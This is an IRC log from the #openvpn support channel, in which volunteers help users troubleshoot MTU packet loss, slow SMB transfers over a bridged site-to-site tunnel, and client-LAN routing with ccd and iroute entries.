09:51 -!- xanderer1 [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
09:51 < xanderer1> openvpn works only when I call it by command line, not as a service. Its a problem in linux AND Windows 8.1
09:52 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
09:52 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
09:54 < N34lO> pekster: thanks, reduced mtu to 1000 now it works - could this be a problem because the mtu of eth0 is aswell only 1500?
09:54 < N34lO> pekster: ... false alarm -.- went down again
09:55 <+pekster> Your MTU settings need to be consistent between peers, and until you test with either --mtu-test or by sending MTU-sized DF packets across your link, you won't actually know
09:56 <+pekster> The symptom of MTU issues is pings and small packets work, but data transport doesn't (web, ftp, any kind of file transfer.)
09:56 < N34lO> pekster: yea, i canged them on both hosts to 1000
09:56 -!- xanderer1 [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has quit [Quit: Leaving.]
09:56 <+pekster> What do you mean "went down"?
09:58 < N34lO> well the connection goes down and there is no data transfered anylonger
09:58 <+pekster> Are you actually getting disconnected? Do you have anything in the logs? Be sure to use --verb 4 on both sides to catch possibly important errors
09:59 <+pekster> The VPn won't just "go down" without logs
09:59 <+pekster> Though all you have might be a timeout, but if the keepalive packets don't make it for the timeout duration, it'll at least note that before a disconnect
10:00 < N34lO> pekster: no, not the openvpn tunnel
10:00 < N34lO> only the protocol / transmission between the servers
10:01 < N34lO> *that is running over openvpn
10:01 <+pekster> OpenVPN has no care in the world what type of data you're sending over it
10:02 -!- HyperGli_ [~HyperGlid@182.151.165.160] has joined #openvpn
10:02 < N34lO> yea i know, but the bandwidth goes down until nothing can be sent any longer
10:02 -!- HyperGlide [~HyperGlid@182.151.166.40] has quit [Read error: Connection reset by peer]
10:03 <+pekster> Maybe you're being rate-limited or such? I have no idea. If you have confirmed you can do something like `ping -M do -s 1472 $vpn_peer` then it won't be MTU issues
10:04 <+pekster> You can also try a rapid ping; my ping utility has a -f flag and you can perhaps try sending a decent stream of MTU-sized pings and see how many get lost? Try f.ex: `ping -M do -i 0.2 -l 1472 -f $vpn_peer` or such
10:06 < N34lO> pekster: "From 10.165.94.1 icmp_seq=1 Frag needed and DF set (mtu = 1000)"
10:07 < N34lO> and i get that msg about 1 million times before it takes the Ctrl+C
10:08 < N34lO> and ping -f (without -M do) gives me 99% Package los
10:10 <+pekster> Erm, sorry, should be -s, not -l
10:10 <+pekster> You must still have your MTU set to 1000 then? Then yea, that's fine to reduce it
10:12 < N34lO> pekster: that msg was from `ping -M do -s 1472 10.165.94.2`
10:13 <+pekster> You should test at your MTU
10:13 <+pekster> Obviously 1472 exceeds your reduced setting of 1000
10:13 <+pekster> Reduce accordingly if you're going to keep the smaller MTU on the interface
10:14 <+pekster> Your job is to see if you have packet loss with something as basic as a ping with some regurlarity (I used 1/5th second intervals.) Read the manpage to learn what -s, -i, and -f do, and why I recommended them to you
10:14 < N34lO> jea with -s 1472 i get 99% pkg loss, with -s 900 only 50% and with -s 100 21%
10:14 <+pekster> Your link between peers is dropping tons of packets then, and it's no woner your TCP sessions die as a result
10:15 < N34lO> if i ping the public ip i get 0% pkg los (tested with 1000 Packages)
10:16 < N34lO> as i said that is a 1GBit/s
10:17 <+pekster> If you're running with --verb 4 and see nothing in the logs that would indicate a problem, then it's time to fire up a packet capture at both ends and see what's going on
10:23 < N34lO> pekster: i just noticed that i was still trying to transfer something from the other side - and now im getting better rates - but if i go down on the -i to 0.02 i still get high drop rates
10:24 < N34lO> so i would say the mtu is ok, but somehow i can't get higher bandwidth rates over the tunnel
10:24 <+pekster> You might not be able to send 50 pps over the link
10:25 <+pekster> Oh, 1 Gbps? link between the peers? "should" work then, though you'll probably run into CPU issues on the crypto well before that
10:26 < N34lO> pekster: yea... well and both servers have a i7-2600K or i7-3770K CPU - so i think that could take a while
10:26 <+pekster> Though keep in mind openvpn is single threaded, so you really just need to saturate 1 core
10:27 <+pekster> top can show you if that's happening, but certainly not at your "40Kbps" mark or w/e
10:28 < N34lO> hm... what other option would there be - i need a secure channel between the to servers for some services that i can't encrypt and due to the fakt that i don't have access to the network there i can't just plug them together
10:30 -!- bxz [~bxz@unaffiliated/bxz] has quit [Ping timeout: 245 seconds]
11:04 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
11:09 <@Ziber> I'm still reveling in the appreciation of my VPN working.
11:34 -!- N34lO [~weechat@bunker.oakey-dev.eu] has left #openvpn ["The answer was 0x2A!"]
11:44 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:16 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:16 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
12:18 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
12:35 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
12:36 -!- schnitzl [~schnitzl@dslb-188-105-230-009.pools.arcor-ip.net] has quit [Ping timeout: 272 seconds]
12:37 -!- schnitzl [~schnitzl@dslb-188-105-160-030.pools.arcor-ip.net] has joined #openvpn
12:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:43 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:57 -!- u0m3_ [~u0m3@92.80.81.116] has quit [Read error: Connection reset by peer]
13:01 -!- u0m3 [~u0m3@92.80.69.128] has joined #openvpn
13:06 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 245 seconds]
13:07 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
13:17 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has joined #openvpn
13:17 -!- mode/#openvpn [+o debbie10t] by ChanServ
13:17 <@Ziber> With my VPN, I'm routing all of my laptop traffic through it. And I'm experiencing problems with gmail chat not loading... anyone have similiar issues?
13:19 -!- elfixit [~Icedove@82.197.179.4] has quit [Ping timeout: 240 seconds]
13:21 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has joined #openvpn
13:23 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has left #openvpn []
13:27 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has quit [Ping timeout: 240 seconds]
13:55 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has joined #openvpn
13:55 -!- mode/#openvpn [+o debbie10t] by ChanServ
13:57 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
13:59 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
14:11 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:11 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
14:11 -!- occup4nt [~null@204.14.158.226] has joined #openvpn
14:13 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 256 seconds]
14:15 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 247 seconds]
14:15 -!- occupant [~null@204.14.158.226] has quit [Ping timeout: 240 seconds]
14:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:41 -!- Shinobi [~wjtaylor@c-76-23-208-102.hsd1.ct.comcast.net] has joined #openvpn
14:41 < Shinobi> what should the perms of the .pem files be? 700?
14:50 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
14:59 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn
15:07 <@Ziber> -rw-r--r-- 1 root root 245 Oct 31 10:33 dh1024.pem
15:07 <@Ziber> 700 would probably work fine, too.
15:09 -!- elfixit [~Icedove@82.197.179.5] has joined #openvpn
15:22 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
15:22 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
15:25 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
15:26 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
15:36 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
15:46 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
15:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
15:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:59 -!- elfixit [~Icedove@82.197.179.5] has quit [Ping timeout: 240 seconds]
15:59 -!- Denial [Denial@90.216.209.93] has quit []
16:08 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has joined #openvpn
16:08 < nsgn> alright, so i dont know if anyone remembers me from last night, but i had the openvpn site to site link that only got 5mbps even though there is 40x40 fiber internet between sites
16:09 < nsgn> i made a major discovery. i was using windows file transfers (smb) as my tests ,as thats what i'll be doing most often
16:09 < nsgn> the issue ONLY affects windows file transfers
16:09 < nsgn> i can move a file over http between servers at opposing sites and get the full 40mbps through openvpn
16:11 -!- elfixit [~Icedove@82.197.179.5] has joined #openvpn
16:12 < nsgn> This removes from the equation questions about cpu power, etc...but..what on earth is SMB's problem? Smb between two computers on the same end of the link is fast. But over the vpn SMB can't break 5mbps
16:14 < nsgn> Is there some inherent tangle between SMB and openvpn?
16:28 < EugeneKay> It hates lag
16:28 < EugeneKay> Also doesn't deal with MTU being lower than 1500 very well
16:32 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
16:33 -!- MeanderingCode is now known as MeanderingCode_
16:33 -!- MeanderingCode_ is now known as MeanderingCode
16:34 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
16:35 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
16:35 -!- michaelhart_ is now known as michaelhart
16:37 < nsgn> EugeneKay, Well, i have 6ms ping between sites. the trip is fiber all the way and only about 200 miles.
16:37 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
16:37 < EugeneKay> Shouldn't cause that much of a problem then
16:37 < nsgn> yeah. sadly the problem is drastic. nigh unusable at 5mbps
16:38 < EugeneKay> !mtu
16:38 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
16:38 < nsgn> EugeneKay, As for MTU..can i do anything about that? How is this handled? The main purpose of the offsite is to be a replica server, so thats not a big deal...but the 1 day every few years the main server bites it i'd like to beable to fire up the VMs over there and have people actually use the file share at reasonble speeds
16:38 < EugeneKay> !mssfix
16:38 < EugeneKay> Hm.
16:39 < EugeneKay> !factoids search mss
16:39 <@vpnHelper> No keys matched that query.
16:39 < EugeneKay> Lame
16:39 < nsgn> haha
16:42 < nsgn> so i'll run with --mtu-test in my client config and see what i get. what is mssfix? i'm googling it to try and understand
16:44 < SviMik> "The --mssfix option only makes sense when you are using the UDP protocol for OpenVPN peer-to-peer communication, i.e. --proto udp."
16:44 < SviMik> are you using tcp or udp?
16:45 < nsgn> SviMik, UDP site to site TAP bridge tunnel (same subnet both sides)
16:48 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has joined #openvpn
16:51 <@krzee> !gigabit
16:51 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
16:52 < nsgn> krzee,someone linked me to that. i read it but i'm not quite sure i qualify for most of that. i'm restricted to 40mbps by my fiber  line
16:52 <@krzee> thats all i got for ya
16:52 <@krzee> :D
16:52 < nsgn> i just want to get something even somewhat close to that with windows file sharing
16:53 < nsgn> which shouldnt be that hard with my excellent latency
16:53 <@krzee> you gotta find whats slowing it down
16:54 <@krzee> that could mean packet dumps, it could mean watching resources
16:54 <@krzee> but you're solving a problem i havnt had
16:55 < nsgn> krzee, i've already run wireshark on it. nothing looks that odd to me but i'm not very experienced reading dumps like that
16:55 <@krzee> were you the guy who was pegged at 50% and swearing its a single core?
16:56 < nsgn> krzee, that was me. and i swear, look up the celeron 430. single core. single thread. but the fact that i hit that same ~50% cpu when i'm moving a full 40mbps (my max fiber pipe) over the VPN via HTTP means that isnt what is stopping SMB
16:57 < nsgn> sure my  box probably can't sustain 100mbps but all i want is something near 40, which i've proven it can do. its something with SMB tripping it up
16:57 <@krzee> oh maybe a smb related channel would know more?
16:58 < nsgn> i've tried over at windows-server. i may have to try them during the week or something. they're deaaad on weekends
16:58 <@krzee> maybe ##networking would know something
16:58 < nsgn> krzee, hmm. maybe so. i'll try them
16:59 <@krzee> i did not realize you were getting the full expected using http over the vpn
17:00 < nsgn> krzee, last night i was too dense to realize i was too
17:00 < nsgn> krzee, but today i fired up hyperv replica and realized backups were running at full 40mbps over https
17:00 < nsgn> then came down to the fact that smb is the ONLY protocol screwing up bad on it. everything else does indeed use my full pipe
17:00 <@krzee> hah
17:01 <@krzee> sounds about right, smb sucks
17:01 <@krzee> i bet nfs / afp work fine too :D
17:01 < nsgn> krzee oh i know, but the fact is if the main server goes down and the replica server must become primary i need smb to work reasonably so the office doesnt grind to a halt
17:01 <@krzee> ya i get it
17:01 <@krzee> windows office needs its smb
17:02 < nsgn> yup. going from 100mbps to 40mbps cause its offsite is workable in a crisis. going to 5mbps...everyone might as well go home :)
17:08 <@debbie10t> nsgn, perhaps you could try then send/rec buffers in openvpn to see if you can make smb get better performance .. it sounds like it could be a buffer restriction of some sort .. just a though if you are fresh out of ideas
17:09 < nsgn> debbie10t, hmm..i dont know much about how to do that :)
17:09 < nsgn> but i'm open to ideas
17:09 <@debbie10t> ots a config option
17:10 <@debbie10t>        --sndbuf size
17:10 <@debbie10t>               Set the TCP/UDP socket send buffer size.  Currently defaults to 65536 bytes.
17:10 <@debbie10t>        --rcvbuf size
17:10 <@debbie10t>               Set the TCP/UDP socket receive buffer size.  Currently defaults to 65536 bytes.
17:10 <@debbie10t> perhaps you can fool smb to work harder ;)
17:11 <@debbie10t> like i said - its just a thought - but there is clearly some sort of bottle neck effecting smb
17:11 < nsgn> maybe. i'm not sure buffering more will solve much
17:11 < nsgn> i think its gotta be some kind of mtu issue but i'm inexperienced in targeting that
17:12 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 246 seconds]
17:13 -!- defswork [~andy@141.0.50.105] has joined #openvpn
17:14 <@debbie10t> you have proved your network can handle full 40mb with http ..
17:14 <@debbie10t> you have also proven that yr cpu is bottle necking at 50% . . which is odd
17:15 <@debbie10t> i think it sounds like the tcp/memory stack
17:15 <@debbie10t> for smb
17:15 <@debbie10t> thats why a suggested increasing the buffers in openvpn .. its a tool you can adjust and may well be able to help
17:15 <@debbie10t> or not ..
17:18 < nsgn> debbie10t, you mean tc/memory issues on my file server or on the openvpn server?
17:18 <@debbie10t> openvpn server
17:18 <@debbie10t> microsoft are notorious for making decisions behind the users back . . .
17:19 <@debbie10t> i was just trying to think outside their boz
17:19 <@debbie10t> box*
17:19 < nsgn> debbie10t, i probably have more hardware i can swap the openvpn server out with. the fileserver i obviously know serves in house at 100mbps just fine
17:19 < nsgn> but am i really gonna see much difference if i see ~50% cpu use when i put https over the tunnel at 40mbps and see still 50% cpu use when SMB is dying at 5mbps?
17:20 <@debbie10t> openvpn can assign more memory to the buffers which may allow smb to send its data up the stack faster and possibly "fool" smb into speeding up ..
17:21 < nsgn> debbie10t, maybe so. worth a try. i can try it this week sometime (swapping the box)
17:21 <@debbie10t> well . the 50% cpu thing is odd but again M$ making decisions without your concent
17:21 <@debbie10t> consent*
17:21 < nsgn> how is the 50% cpu thing microsoft at all?
17:21 < nsgn> this is a box running bsd + openvpn
17:21 < nsgn> unless you mean the windows file server..in which case it is using like 3% cpu
17:22 <@debbie10t> you say you have a single core processor which flat lines at 50% .. something must be throttling smb and as smb is M$ i suspect them of some internal s/w throttle
17:23 < nsgn> how is microsoft at all related to the cpu usage throttling or not throttling on this bsd box running openvpn?
17:23 < nsgn> again, the cpu on the windows server hosting the files isnt feeling much hurt at all
17:24 <@debbie10t> i missed you discussion last night so i do not have all the facts .. i was assuming smb was windows file server on windows box
17:25 <@debbie10t> the openvpn is on another box .. linux ?
17:25 < nsgn> debbie10t, a pfsense box is the firewall/router/openvpn server
17:25 < nsgn> debbie10t, windows server 2012 is a domain controller and file server
17:25 -!- JuddyJacob [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
17:25 < nsgn> in our env
17:26 <@debbie10t> ok - and the pfsense handles the http at 40mb
17:26 -!- master_of_master [~master_of@p4FD7B6AB.dip0.t-ipconnect.de] has joined #openvpn
17:26 < nsgn> yup. the vpn can carry other types of traffic at 40mbps no problem
17:27 < nsgn> even though the cpu rides around 45 or 50%
17:27 <@debbie10t> gotcha
17:27 < nsgn> when trying to put SMB through the same vpn the cpu rides at the same 40 or 50 on the pfsense box but smb won't break 5mbps
17:27 < nsgn> which is useless
17:27 <@debbie10t> so you have win file server at each end and they will only sustain 5mbit over the vpn link
17:28 < nsgn> yes
17:28 < nsgn> but the same two windows boxes can talk full pipe (40mbps) speeds at any other protocol
17:28 < nsgn> over the vpn
17:29 <@debbie10t> sounds like windows file servers are detecting that they have a slow link and are behaving accordingly ,,, either find out what windows can offer or try the buffers to maximise the throughput of vpn at all layers
17:29 < nsgn> debbie10t, 40mbps at 6ms is slow?
17:29 -!- master_o1_master [~master_of@p4FD7B457.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
17:30 < nsgn> also, i've already been advised to turn off qos in windows on each side
17:30 < nsgn> have done so and it made no improvement
17:31 < SviMik> just interesting... why do you need openvpn there? just tunneling, or encryption is also required?
17:31 < nsgn> tunneling
17:31 < nsgn> i need same subnet on each side
17:31 <@debbie10t> bridged ?
17:31 < nsgn> yes
17:31 < nsgn> both are hyperv VM servers. i need the VMs to not know they are offiste if they fail over and fire up on the offsite server
17:31 < SviMik> you can try to disable encryption then, it may increase performance
17:32 < nsgn> which right now works perfectly...but windows file sharing just runs slow
17:32 < nsgn> tried with and without encryption. no difference
17:32 < nsgn> but again, whether or not it is on http and other protocols run full speed
17:32 < nsgn> i'm moving 200 some gigabytes via https (hyperv replica) right now and i'm nailing 42mbps constant
17:32 <@debbie10t> I think you will find windows file servers have detected a slow link and are auto-adjusting
17:32 < nsgn> the openvpn server obviously isnt overloading
17:33 -!- mattock is now known as mattock_afk
17:33 < nsgn> debbie10t, possibly so..but i need to find a way to get it to not do that because..5mbps is useless
17:33 < SviMik> have you tried something from this page? https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux
17:33 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net)
17:33 <@debbie10t> i realise it is not a slow link but windows is taking that deccision without your permission
17:34 < SviMik> - increase the MTU size of the tun adapter ('--tun-mtu') to 6000 bytes.
17:34 < SviMik> - disable OpenVPN's internal fragmentation algorithm using '--fragment 0'.
17:34 < SviMik> - disable OpenVPN's 'TCP Maximum Segment Size' limitor using '--mssfix 0'.
17:34 < nsgn> yeah, i need to try the last one (mssfix)
17:34 -!- JuddyJacob [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
17:34 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
17:35 < nsgn> bah, battery dying on this laptop. I'll be back tonight. out of office right now
17:35 < nsgn> i need to try mssfix
17:35 < nsgn> thx for the help. at 3%. goin down!
17:35 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has quit [Quit: Leaving]
17:36 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has left #openvpn []
17:39 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
17:39 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
17:39 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
17:59 < JuddyJacob_> how do I allow the openvpn server to send traffic to my local subnet, behind the openvpn address pool?
18:00 < JuddyJacob_> is it with the ccd file?
18:02 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
18:03 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
18:03 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
18:06 -!- mikeym [~mikeym@184.70.65.118] has joined #openvpn
18:07 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Ping timeout: 248 seconds]
18:07 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
18:23 <@debbie10t> !route
18:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
18:23 <@vpnHelper> behind the server or client
18:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
18:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:06 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
19:23 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
19:25 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
19:26 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:27 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
19:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
19:38 < JuddyJacob_> acccording to the article, it references the common name, for the ccd entry. I assume this is the ca name? Or did I create a common name when building the cert?
19:39 < rob0> every certificate has a "common name"
19:39 < JuddyJacob_> I dont rcall what i made it?
19:40 < JuddyJacob_> recall , sorry
19:40 < heraclitus> check your vars file
19:40 < heraclitus> in the easy-rsa directory
19:40 < rob0> A client cert CN is logged with every connection it makes on the server.
19:41 < JuddyJacob_> i just did, i left it changename, and changed it when it asked, if i use openssl to verify the ca will it show me the common name?
19:41 < rob0> And you can use openssl's x509(1) tool to view a cert.
19:41 < heraclitus> ^
19:44 < JuddyJacob_> CN=freebsdbox is this what i used for common name ....i can be so lame sometimes :)
19:47 -!- mikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 272 seconds]
19:48 < rob0> heh
19:52 < JuddyJacob_>  freebsdbox/topsecret:56205 MULTI: bad source address from client, packet dropped
19:52 < JuddyJacob_>  - aye aye aye
19:56 <@debbie10t> it is not an issue ... just windows using the wrong source ip
19:58 < JuddyJacob_> strange, also noticed my vpn connection says no internet access, but clearly is online, and verified public ip with whatsmyip.org, it is the public address of the openvpn server?
19:59 < JuddyJacob_> I so hate windows.... -sigh
20:03 < JuddyJacob_> still 100% packet loss
20:03 < JuddyJacob_> am I required to use learn-address ./script ?
20:04 < JuddyJacob_> to use the ccd files
20:06 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
20:10 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Ping timeout: 260 seconds]
20:11 <@debbie10t> !man
20:11 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
20:13 <@debbie10t> i read it and learned so much
20:15 <@debbie10t> the ccd allows you to setup internal routing using iroute which only effects the openvpn server
20:15 <@debbie10t> ccd is also a powerful tool to customise client settings
20:16 <@debbie10t> and you can customise it without restarting the server
20:16 <@debbie10t> it is worth learning
20:16 < heraclitus> hard to believe sometimes what you can learn from a little reading, eh?
20:16 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
20:16 -!- crus [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has quit [Ping timeout: 260 seconds]
20:16 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
20:16 <@debbie10t> its like a magic crystal ball ;)
20:17 -!- elfixit [~Icedove@82.197.179.5] has quit [Quit: elfixit]
20:19 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has joined #openvpn
20:21 -!- debbie10t is now known as ScratchNSniff
20:22 -!- ScratchNSniff is now known as TheManual
20:23 < rob0> The really nice feature of ccd is --ccd-exclusive, which gives you a server-side access control without the pain of revocation and CRLs.
20:23 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
20:23 -!- JuddyJacob__ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
20:23 <+pekster> rob0: There's also the `disable` directive for ccd's ;)
20:24 <+pekster> The power of an "undoable" way to disalllow a client without needing ccds for all other certs
20:24 < rob0> oh, yeah
20:25 <+pekster> (though technically you can "undo" a CRL too, you're just not supposed to. And you have to be the CA^H^HEvil CA to do that)
20:25 < rob0> and then you can have a DEFAULT entry in the ccd
20:30 < JuddyJacob_> call me crazy but I feel this is right? http://pastebin.com/wM7YcdSq
20:31 < JuddyJacob_> freebsdbox > iroute 10.88.88.0 255.255.255.0
20:31 <+pekster> Looks like a valid config, sure
20:32 -!- schnitzl [~schnitzl@dslb-188-105-160-030.pools.arcor-ip.net] has quit [Ping timeout: 245 seconds]
20:32 < JuddyJacob_> so i can still verify the virtual(openvpn server) server still doesnt know how to connect to my local subnet, cant ping, traceroute, ? im stuck
20:33 < JuddyJacob_> yet Im online through it
20:33 -!- schnitzl [~schnitzl@dslb-188-110-237-169.pools.arcor-ip.net] has joined #openvpn
20:33 <+pekster> what does "my local subnet" mean in this context? Clearly you don't mean the LAN your sever is on
20:34 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
20:34 < JuddyJacob_> no, I'm trying to ping my local IP from the server, I can ping my vpn IP, 10.8.0.6, but not my real local lan IP 10.88.88.35
20:35 < rob0> !clientlan
20:35 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
20:35 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
20:35 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
20:36 <+pekster> The config on the server is right for that (assuming you're not on the VPN from that client -- that would be silly since you're trying to route between the server and your client-LAN.) Sounds like an issue configuring IP forwarding or your firewall, or an issue applying the routes in one of the openvpn logs
20:36 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
20:37 < JuddyJacob_> the openvpn server route tables "to me" suggest I should be able to ping my clientlan http://pastebin.com/vEwhnb0H
20:39 <@krzee> !clientlan
20:39 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
20:39 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
20:39 <@krzee> follow the flowchart at #3
20:39 <+pekster> Without knowing the mask on the route at line 7, one can't say if that's valid or not (why is there no CIDR or quad-doted reference)
20:41 < JuddyJacob_> good question, I just double checked my route table and its not there
20:42 < rob0> I ate it. <burp>
20:42 <@krzee> all up in your routing table, eating your routes
20:42 <@TheManual> lol
20:42 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:43 < JuddyJacob_> I dont know why? I just used a /24 as well, same
20:44 <+pekster> The lack of CIDR means it's just a single IP, but that's kind of meaningless in the net30 topology
20:44 <+pekster> Either the route failed to add (but then why is that there?!) or something else is up
20:44 <+pekster> It's also not a "host-route" (no H flag) so there's something screwy going on; check your --verb 4 logs for clues to the route failure
20:45 <+pekster> Looks like a BSD implemetnation? `netstat -rn` will use CIDR for the destination field
20:47 < JuddyJacob_> ah, you are correct sir
20:50 < JuddyJacob_>  this is still bothering me - freebsdbox/topsecret:50006 MULTI: bad source address from client, packet dropped
